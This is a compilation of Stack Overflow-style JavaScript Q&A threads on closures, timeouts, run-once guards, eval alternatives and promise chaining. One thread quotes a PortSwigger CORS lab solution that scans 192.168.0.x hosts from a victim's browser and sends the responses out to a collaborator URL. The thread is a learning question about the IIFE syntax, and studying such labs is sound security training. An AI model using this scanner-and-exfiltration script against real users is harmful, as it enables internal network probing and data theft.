I have the following problem. First of all my code so far:
function Auktionator() {
this.versteigern = function(objekt) {
for(var i = 1; i <=3; i++) {
setTimeout(function(x) { return function() { console.log(objekt + " zum " + x); }; }(i), 1000*i);
}
};}
Now I want that only one Auktionator object can run the function at the same time, but I donĀ“t know, how to do it.
Keep track of the number of timeouts running and use a guard clause to prevent concurrent runs.
function Auktionator() {
this.versteigern = function (objekt) {
if (Auktionator.LOCKS > 0) {
console.log('running');
return;
}
for (var i = 1; i <= 3; i++) {
Auktionator.LOCKS++;
setTimeout(function (x) {
return function () {
console.log(objekt + " zum " + x);
Auktionator.LOCKS--;
};
}(i), 1000 * i);
}
};
}
Auktionator.LOCKS = 0;
new Auktionator().versteigern()
new Auktionator().versteigern()
The hacky workaround would be to add a variable isRunning:
// Static variable shared by all instance
Auktionator.isRunning = false;
Then, when you start executing, you check if Auktionator.isRunning === false, set it to true and set it back to false when you're done.
You have a great variety of options to execute code after some async calls:
Promises, some libraries or some awesome stuff brought by ES6.
You could have a global variable
var function_in_use = 0
and then add
function_in_use = 1 at the very beginning of the function's contents and add function_in_use = 0 immediately before the return statement. You could then wrap the entire contents in an if statement: if (!function_in_use) { ....
I don't know if this would suit your particular needs. This would be similar to how #import "filename" statements work in the C language.
Related
The purpose of the example code below is to be able to restrict a function from printing something via console.log (a loop in this case) if the function is executed twice.
However, the function uses the global variable "condition" and I want to find a way to avoid this. I've been playing around with workarounds, but to no avail. Also, I have checked sources online, but relate to other more complex examples which are beyond my level. This is a simpler example, but haven't been able to crack this.
Grateful for some guidance. Thanks.
let condition = false;
const testFunc = function (value) {
for (let i = 0; i < 10; i++) {
if (!condition) {
console.log(value + i);
}
}
condition = true;
};
testFunc(5);
testFunc(5);
The usual answer is to create yet another scope to hold the state:
function once(fn) {
let called = false
return function(...args) {
if (!called) {
fn(...args)
called = true
}
}
}
const test = once(function() {
console.log('hello')
})
test() // hello
test() // nothing
Thanks for your feedback - I considered the use of using closure by way of returning a function within another.
Would this be a viable option in order to avoid a global variable? Note that "func" needs to be declared globally -
const testFuncEncaps = function (value) {
let trueOrFalse = false;
return function () {
for (let i = 0; i < 10; i++) {
if (!trueOrFalse) {
console.log(value + i);
}
}
trueOrFalse = true;
};
};
let func = testFuncEncaps(5);
func();
func();
I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer.
The snippet is this:
var q = [],
collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
q.push(
function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
if (q.length) q.shift()(i * 100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(),
signal = controller.signal;
fetch(url, {
signal
}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
}))
.catch(e => {
if (q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if (q.length) {
q.shift()(wait);
}
}, wait);
}
What I am having problems with is the following:
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does
('http://192.168.0.'+i+':8080')
links to the push function.
Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.
So, it could also be written like this:
function urlToFunc(url) {
return function(wait) { fetchUrl(url, wait); }
}
// later on
q.push(urlToFunc('http://192.168.0.'+i+':8080'));
.push simply adds the function returned by that funcion to the array q.
Another way to write it, which is less confusing imo, is like so:
q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });
What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:
The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')
The wait, which is the argument the array item is called with later (like in q.shift()(wait);)
It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:
for (let i = 1; i <= 255; i++) {
q.push(
function(wait) {
fetchUrl('http://192.168.0.' + i + ':8080', wait);
}
);
}
This is equivalent to the original snippet.
I would like to define a function which will act as a while statement (with some addons, but for reasons of simplicity, I will show here a basic wrapper). So with conditions as the first parameter, and the callback to execute at each loop as the second one.
I came at first with this version:
const wrappedWhile = (conditions, callback) => {
let avoidInfinite = 0;
while (conditions) {
callback();
if (avoidInfinite >= 10) {
console.log('breaking while statement for avoiding infinite loop');
break;
}
avoidInfinite++;
}
};
let i = 0;
wrappedWhile(i < 5, () => {
console.log('log from callback: i =', i);
if (i >= 5) {
console.log('the loop continues whereas it should stop');
}
i++;
});
Logically, it is expected to stop when i >= 5. But the conditions parameter is a simple boolean in the wrappedWhile function, so it is always true as i was less than 5 at call.
Then, I came up with another version where conditions is evaluated at each iteration of the loop:
const wrappedWhile = (conditions, callback) => {
while (Function('return ' + conditions + ';')()) {
callback();
}
};
let i = 0;
wrappedWhile('i < 5', () => {
console.log('log from callback: i =', i);
i++;
});
But, if I am not wrong, Function is using eval() in order to work, and all of us once heard that the usage of eval() is not really safe towards code injection.
Now my question is simple: are there more secure alternatives to do what I want to achieve?
After some researches, I found a link which shows a way to evalify in a sandbox environment, but I don't know if it is good way or not.
You should pass a function as a condition and call it in the while loop
const wrappedWhile = (conditions, callback) => {
let i = 0;
while (conditions(i)) {
callback(i);
if (i >= 10) {
console.log('breaking while statement for avoiding infinite loop');
break;
}
i++;
}
};
wrappedWhile((i) => (i < 5), (iteration) => {
console.log('log from callback: i =', iteration);
});
I'm trying this javascript code
var txt = "", txtLen = 0, elem='';
var speed=90;
function write( obj ) {
txt = obj.str;
speed = obj.speed;
elem = obj.elem;
txtLen = txt.length;
setTimeout("loop()", 300);
}
var c=0;
function loop() {
if( c <= txtLen ){
document.getElementById(elem).innerHTML+=txt.charAt(c);
c++;
setTimeout("loop()", speed);
} else {
c=0;
}
}
but in html when i call write function two time its prints only last one, like this-
<font id="o"></font><br>
<font id="oo"></font>
<script>
write({
elem:'o',
speed:90,
str:'Hello'
});
write({
elem:'oo',
speed:90,
str:'World'
});
</script>
Can anyone tell me please, where the error is??
This should work
function loop(obj, c) {
if( c <= obj.str.length ){
document.getElementById(obj.elem).innerHTML += obj.str.charAt(c);
setTimeout(loop, obj.speed, obj,c+1);
}
}
function write( obj ) {
setTimeout( loop, 300, obj, 0);
}
The setTimeout function optionally can take variables that will be passed to the callback function
Because you are executing the printing asyncronously, so when you print the first one, the second one already modified your vars.
What you are facing is called impure functions.
Impure functions
All of them which modifies its external
environment, usually called side effect.
Any function that uses a non-local variable is potentially impure, for example:
function impure(x) { return x + a; }
The idea to solve it is transform your impure functions into pure functions. What does it mean? A pure function is a function which does not modify its external enviromnent.
Pure functions
All of them which does not modify its external
environment, for example:
function pure(x, a) { return x + a; }
Below you have your example working:
<font id="o"></font>
<br>
<font id="oo"></font>
<script>
function write( obj ) {
setTimeout(() => {
loop(obj, 0);
}, 300);
}
function loop(obj, c) {
if( c <= obj.str.length ){
document.getElementById(obj.elem).innerHTML += obj.str.charAt(c);
setTimeout(() => {
loop(obj, c + 1);
}, obj.speed);
}
}
write({
elem:'o',
speed:90,
str:'Hello'
});
write({
elem:'oo',
speed:90,
str:'World'
});
</script>
As you see, loop function takes nothing from its external environment any more.
Sharing vars is not a good option when you are working asyncronously.
Hope It helps you.
I'm searching for a solution where I'm able to run different functions, but some of them need a timeout and all following functions need to wait until the previous one is finished. Every function should be able to break the complete process.
Now I thought pushing all functions to a stack and loop through them:
function foo() {
// bar() should wait as long the following is finished:
setTimeout(function(){
if ((new Date()).getSeconds() % 2) {
alert('foo');
// break loop through functions (bar is not called)
}
else {
// start next function (bar is called)
}
}, 1000);
}
function bar() {
setTimeout(function(){
alert('bar')
}, 1000);
}
var functions = new Array('foo', 'bar');
for (var i = 0, length = functions.length; i < length; i++) {
window[functions[i]]();
}
But how to include wait/break?!
Note: This should work with 2+ functions (amount of functions is changeable)
Note2: I don't want to use jQuery.
Note: I have updated my answer, see bottom of post.
Alright, let's take a look.
You're using the window[func]() method, so you should be able to store and use return values from each function.
Proof:
function a(){
return "value";
}
var ret_val = window['a']();
alert(ret_val);
Let's create a return rule:
If function returns true, continue execution flow.
If function returns false, break execution flow.
function a(){
//Do stuff
return (condition);
}
for(i = 0; i < n; i++){
var bReturn = window['function']();
if(!bReturn) break;
}
Now let's put it into practice.
function a(){
//Do stuff
return ((new Date()).getSeconds() % 2); //Continue?
}
function b(){
//Do stuff
return true; //Continue?
}
function c(){
//Do stuff
return false; //Continue?
}
function d(){
//Do stuff
return true; //Continue?
}
var functions = new Array('a', 'b', 'c', 'd');
for (var i = 0; i < functions.length; i++ ) {
var bReturn = window[functions[i]]();
if(!bReturn) break;
}
Depending on when you execute the script, eg, an even or uneven time period, it will only execute function a or execute functions a b & c. In between each function, you can go about your normal business.
Of course, the conditions probably vary from each individual function in your case.
Here's a JSFiddle example where you can see it in action.
With some small modification, you can for instance, make it so that if function a returns false, it will skip the following function and continue on to the next, or the one after that.
Changing
for (var i = 0; i < functions.length; i++ ) {
var bReturn = window[functions[i]]();
if(!bReturn) break;
}
To this
for (var i = 0; i < functions.length; i++ ) {
var bReturn = window[functions[i]]();
if(!bReturn) i++;
}
Will make it skip one function, every time a function returns false.
You can try it out here.
On a side-note, if you were looking for a waiting function that "pauses" the script, you could use this piece of code.
function pausecomp(millis){
var date = new Date();
var curDate = null;
do {
curDate = new Date();
}while(curDate-date < millis);
}
Update
After adjusting the code, it now works with setTimeout.
The idea is that you have an entry point, starting with the first function in the array, and pass along an index parameter of where you currently are in the array and then increment index with one to execute the next function.
Example | Code
function next_function(index){
if(index >= functions.length) return false;
setTimeout(function(){
window[functions[index+1]](index+1);
}, 1000);
}
function a(index){
//Do stuff
if(((new Date()).getSeconds() % 2)) return false; //Stop?
next_function(index);
}
function b(index){
//Do stuff
if(false) return false; //Stop?
next_function(index);
}
function c(index){
//Do stuff
if(true) return false; //Stop?
next_function(index);
}
function d(index){
//Do stuff
if(false) return false; //Stop?
next_function(index);
}
var functions = new Array('a', 'b', 'c', 'd');
//entry point
window[functions[0]](0);
This is exactly the scenario promises solve. In particular, the fact that promises can be broken is perfect for your situation, since a broken promise prevents the chain from continuing (just like a thrown exception in synchronous code).
Example, using the Q promise library discussed in the above-linked slides:
function fooAsync() {
return Q.delay(1000).then(function () {
if ((new Date()).getSeconds() % 2) {
alert("foo");
throw new Error("Can't go further!");
}
});
}
function barAsync() {
return Q.delay(1000).then(function () {
alert("bar");
});
}
var functions = [fooAsync, barAsync];
// This code can be more elegant using Array.prototype.reduce, but whatever.
var promiseForAll = Q.resolve();
for (var i = 0; i < functions.length; ++i) {
promiseForAll = promiseForAll.then(functions[i]);
}
// Of course in this case it simplifies to just
// promiseForAll = fooAsync().then(barAsync);
promiseForAll.then(
function () {
alert("done!");
},
function (error) {
alert("someone quit early!");
// and if you care to figure out what they said, inspect error.
}
).end();